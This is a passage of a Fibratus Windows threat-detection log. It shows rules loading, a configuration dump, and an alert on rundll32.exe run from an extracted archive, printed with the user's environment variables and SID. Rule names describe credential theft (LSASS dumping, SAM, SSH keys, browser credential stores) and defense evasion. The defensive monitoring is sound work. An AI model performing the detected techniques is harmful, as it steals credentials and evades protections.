C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_process_execution_from_compressed_file_via_explorer.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:31:48+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-12T19:31:48+01:00 level=info msg=bootstrapping with pid 17488. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-12T19:31:48+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false content-type=>text/html use-template=>true to=>[] port=>25] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-registry=>true enable-net=>true enable-thread=>true enable-vamap=>true min-buffers=>16 enable-audit-api=>true max-buffers=>36 stack-enrichment=>true enable-fileio=>true enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-image=>true enable-mem=>false flush-interval=>1s enable-dns=>false enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info formatter=>text max-size=>100 max-age=>0 max-backups=>15 log-stdout=>true] + output ......................... [ elasticsearch=>[ healthcheck-timeout=>5s enabled=>false index-name=>fibratus gzip-compression=>false trace-log=>false healthcheck=>true flush-period=>1s sniff=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus timeout=>5s healthcheck-interval=>10s bulk-workers=>1] eventlog=>[ level=>info enabled=>false] http=>[ timeout=>5s enable-gzip=>false endpoints=>[] method=>POST serializer=>json tls-insecure-skip-verify=>false enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] amqp=>[ delivery-mode=>transient vhost=>/ enabled=>false exchange=>fibratus tls-insecure-skip-verify=>false durable=>false passive=>false timeout=>5s exchange-type=>topic url=>amqp://localhost:5672 routing-key=>fibratus]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s fastscan=>true excluded-files=>[] enabled=>false skip-allocs=>false skip-registry=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-12T19:31:48+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-12T19:31:51+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-12T19:32:11+01:00 level=info msg=sending alert: [Process execution from compressed file via Explorer]. Text: Event(s): + Seq: 4003271 + Pid: 4496 + Tid: 12160 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-12 19:32:02.5872664 +0100 CET + Params: cmdline➜ "C:\Users\nedo\AppData\Local\Temp\89e29696-4c75-48aa-b252-7b912d048741_rundll32 (2).tar.rundll32 (2).tar\rundll32.exe" , directory_table_base➜ 4c9f8000, domain➜ ARCHRABBIT, exe➜ C:\Users\nedo\AppData\Local\Temp\89e29696-4c75-48aa-b252-7b912d048741_rundll32 (2).tar.rundll32 (2).tar\rundll32.exe, exit_status➜ Success, flags➜ , kproc➜ ffffd506feed9080, name➜ rundll32.exe, pid➜ 20144, ppid➜ 4496, real_ppid➜ 4496, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-12 19:32:02.5872664 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.seq.link: 1762972332250943472, subtechnique.ref: https://attack.mitre.org/techniques/T1204/002/, tactic.ref: https://attack.mitre.org/tactics/TA0002/, technique.name: User Execution, technique.ref: https://attack.mitre.org/techniques/T1204/, rule.name: Process execution from compressed file via Explorer, subtechnique.name: Malicious File, tactic.id: TA0002, tactic.name: Execution, technique.id: T1204, subtechnique.id: T1204.002 + + Pid: 4496 + Ppid: 7852 + Name: explorer.exe + Cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\Explorer.EXE + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\Explorer.EXE] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_4496_1262719628:1 EFC_4496_1592913036:1 EFC_4496_2283032206:1 EFC_4496_2775293581:1 EFC_4496_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-12T19:32:26+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T19:32:26+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-12T19:32:27+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-12T19:38:28+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_process_execution_from_compressed_file_via_explorer.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 